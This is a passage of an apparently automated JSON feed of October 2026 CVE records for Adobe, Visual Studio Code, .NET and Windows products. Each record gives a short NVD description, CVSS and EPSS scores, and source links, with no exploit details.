unrestricted host-level command execution.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T20:17:25.660Z","updatedAt":"2026-10-20T18:17:17.577Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110005","asOf":"2026-10-20T18:17:17.577Z"},"epss":{"probability":0.02233,"percentile":0.82651,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110005&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110005","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110005","type":"primary","publishedAt":"2026-10-13T20:17:25.660Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110005&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110005, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-106634","cveId":"CVE-2026-106634","aliases":[],"kind":"vulnerability","title":"Adobe Experience Manager is affected by an Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability that could result in arbitrary file system...","summary":"Adobe Experience Manager is affected by an Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability that could result in arbitrary file system write. A low-privileged attacker could leverage this vulnerability to write files to unauthorized locations on the file system. Exploitation of this issue does not require user interaction. Scope is changed.","detail":"Adobe Experience Manager is affected by an Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability that could result in arbitrary file system write. A low-privileged attacker could leverage this vulnerability to write files to unauthorized locations on the file system. Exploitation of this issue does not require user interaction. Scope is changed.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T20:17:17.103Z","updatedAt":"2026-10-17T02:17:13.320Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-106634","asOf":"2026-10-17T02:17:13.320Z"},"epss":{"probability":0.00461,"percentile":0.39672,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-106634&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-106634","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-106634","type":"primary","publishedAt":"2026-10-13T20:17:17.103Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-106634&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-106634, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103854","cveId":"CVE-2026-103854","aliases":[],"kind":"vulnerability","title":"Dimension is affected by a Stack-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"Dimension is affected by a Stack-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.","detail":"Dimension is affected by a Stack-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T20:17:12.023Z","updatedAt":"2026-10-14T15:50:50.180Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103854","asOf":"2026-10-14T15:50:50.180Z"},"epss":{"probability":0.00187,"percentile":0.08191,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103854&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103854","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103854","type":"primary","publishedAt":"2026-10-13T20:17:12.023Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103854&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103854, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103851","cveId":"CVE-2026-103851","aliases":[],"kind":"vulnerability","title":"Substance3D - Stager is affected by a Stack-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"Substance3D - Stager is affected by a Stack-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.","detail":"Substance3D - Stager is affected by a Stack-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T20:17:11.510Z","updatedAt":"2026-10-15T04:18:13.743Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103851","asOf":"2026-10-15T04:18:13.743Z"},"epss":{"probability":0.00174,"percentile":0.0682,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103851&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103851","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103851","type":"primary","publishedAt":"2026-10-13T20:17:11.510Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103851&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103851, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103847","cveId":"CVE-2026-103847","aliases":[],"kind":"vulnerability","title":"Dimension is affected by an Untrusted Search Path vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"Dimension is affected by an Untrusted Search Path vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. A local attacker with user permissions could exploit this vulnerability to execute arbitrary code. Exploitation of this issue requires user interaction in that a victim must run the application. Scope is changed.","detail":"Dimension is affected by an Untrusted Search Path vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. A local attacker with user permissions could exploit this vulnerability to execute arbitrary code. Exploitation of this issue requires user interaction in that a victim must run the application. Scope is changed.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T20:17:11.153Z","updatedAt":"2026-10-14T15:50:50.180Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103847","asOf":"2026-10-14T15:50:50.180Z"},"epss":{"probability":0.00188,"percentile":0.08313,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103847&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103847","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103847","type":"primary","publishedAt":"2026-10-13T20:17:11.153Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103847&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103847, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103846","cveId":"CVE-2026-103846","aliases":[],"kind":"vulnerability","title":"Dimension is affected by an Improper Neutralization of Input During Web Page Generation vulnerability that could result in arbitrary code execution in the context of the current...","summary":"Dimension is affected by an Improper Neutralization of Input During Web Page Generation vulnerability that could result in arbitrary code execution in the context of the current user. A local attacker with user permissions could exploit this vulnerability to execute arbitrary code. Exploitation of this issue requires user interaction in that a victim must run the application. Scope is changed.","detail":"Dimension is affected by an Improper Neutralization of Input During Web Page Generation vulnerability that could result in arbitrary code execution in the context of the current user. A local attacker with user permissions could exploit this vulnerability to execute arbitrary code. Exploitation of this issue requires user interaction in that a victim must run the application. Scope is changed.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T20:17:11.023Z","updatedAt":"2026-10-14T15:50:50.180Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103846","asOf":"2026-10-14T15:50:50.180Z"},"epss":{"probability":0.00187,"percentile":0.0827,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103846&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103846","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103846","type":"primary","publishedAt":"2026-10-13T20:17:11.023Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103846&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103846, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103845","cveId":"CVE-2026-103845","aliases":[],"kind":"vulnerability","title":"Dimension is affected by an Uncontrolled Search Path Element vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"Dimension is affected by an Uncontrolled Search Path Element vulnerability that could result in arbitrary code execution in the context of the current user. A local attacker with user permissions could exploit this vulnerability to execute arbitrary code. Exploitation of this issue requires user interaction in that a victim must run the application. Scope is changed.","detail":"Dimension is affected by an Uncontrolled Search Path Element vulnerability that could result in arbitrary code execution in the context of the current user. A local attacker with user permissions could exploit this vulnerability to execute arbitrary code. Exploitation of this issue requires user interaction in that a victim must run the application. Scope is changed.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T20:17:10.910Z","updatedAt":"2026-10-14T15:50:50.180Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103845","asOf":"2026-10-14T15:50:50.180Z"},"epss":{"probability":0.00188,"percentile":0.08313,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103845&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103845","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103845","type":"primary","publishedAt":"2026-10-13T20:17:10.910Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103845&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103845, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103844","cveId":"CVE-2026-103844","aliases":[],"kind":"vulnerability","title":"Dimension is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"Dimension is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.","detail":"Dimension is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T20:17:10.790Z","updatedAt":"2026-10-14T15:50:50.180Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103844","asOf":"2026-10-14T15:50:50.180Z"},"epss":{"probability":0.00148,"percentile":0.03995,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103844&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103844","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103844","type":"primary","publishedAt":"2026-10-13T20:17:10.790Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103844&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103844, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102235","cveId":"CVE-2026-102235","aliases":[],"kind":"vulnerability","title":"Improper encoding or escaping of output in Visual Studio Code allows an unauthorized attacker to execute code over a network.","summary":"Improper encoding or escaping of output in Visual Studio Code allows an unauthorized attacker to execute code over a network.","detail":"Improper encoding or escaping of output in Visual Studio Code allows an unauthorized attacker to execute code over a network.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T20:17:06.607Z","updatedAt":"2026-10-15T20:39:54.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Visual Studio"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102235","asOf":"2026-10-15T20:39:54.150Z"},"epss":{"probability":0.0072,"percentile":0.53628,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102235&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102235","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102235","type":"primary","publishedAt":"2026-10-13T20:17:06.607Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102235&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102235, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102234","cveId":"CVE-2026-102234","aliases":[],"kind":"vulnerability","title":"Reliance on untrusted inputs in a security decision in Visual Studio Code allows an unauthorized attacker to bypass a security feature over a network.","summary":"Reliance on untrusted inputs in a security decision in Visual Studio Code allows an unauthorized attacker to bypass a security feature over a network.","detail":"Reliance on untrusted inputs in a security decision in Visual Studio Code allows an unauthorized attacker to bypass a security feature over a network.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T20:17:06.477Z","updatedAt":"2026-10-15T20:39:54.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Visual Studio"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102234","asOf":"2026-10-15T20:39:54.150Z"},"epss":{"probability":0.00822,"percentile":0.57046,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102234&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102234","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102234","type":"primary","publishedAt":"2026-10-13T20:17:06.477Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102234&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102234, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97801","cveId":"CVE-2026-97801","aliases":[],"kind":"vulnerability","title":"Improper validation of specified type of input in .NET Framework allows an unauthorized attacker to perform tampering over a network.","summary":"Improper validation of specified type of input in .NET Framework allows an unauthorized attacker to perform tampering over a network.","detail":"Improper validation of specified type of input in .NET Framework allows an unauthorized attacker to perform tampering over a network.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:18.023Z","updatedAt":"2026-10-13T23:19:33.740Z","regions":["Global"],"vendor":null,"product":null,"stacks":[".NET"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97801","asOf":"2026-10-13T23:19:33.740Z"},"epss":{"probability":0.00734,"percentile":0.54111,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97801&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97801","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97801","type":"primary","publishedAt":"2026-10-13T19:22:18.023Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97801&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97801, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96866","cveId":"CVE-2026-96866","aliases":[],"kind":"vulnerability","title":"Out-of-bounds read in Network Device Enrollment Service (NDES) allows an unauthorized attacker to deny service over a network.","summary":"Out-of-bounds read in Network Device Enrollment Service (NDES) allows an unauthorized attacker to deny service over a network.","detail":"Out-of-bounds read in Network Device Enrollment Service (NDES) allows an unauthorized attacker to deny service over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:01.050Z","updatedAt":"2026-10-13T20:19:26.113Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96866","asOf":"2026-10-13T20:19:26.113Z"},"epss":{"probability":0.01149,"percentile":0.66638,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96866&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96866","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96866","type":"primary","publishedAt":"2026-10-13T19:22:01.050Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96866&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96866, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96862","cveId":"CVE-2026-96862","aliases":[],"kind":"vulnerability","title":"Out-of-bounds read in Windows Spaceport.sys allows an authorized attacker to elevate privileges locally.","summary":"Out-of-bounds read in Windows Spaceport.sys allows an authorized attacker to elevate privileges locally.","detail":"Out-of-bounds read in Windows Spaceport.sys allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 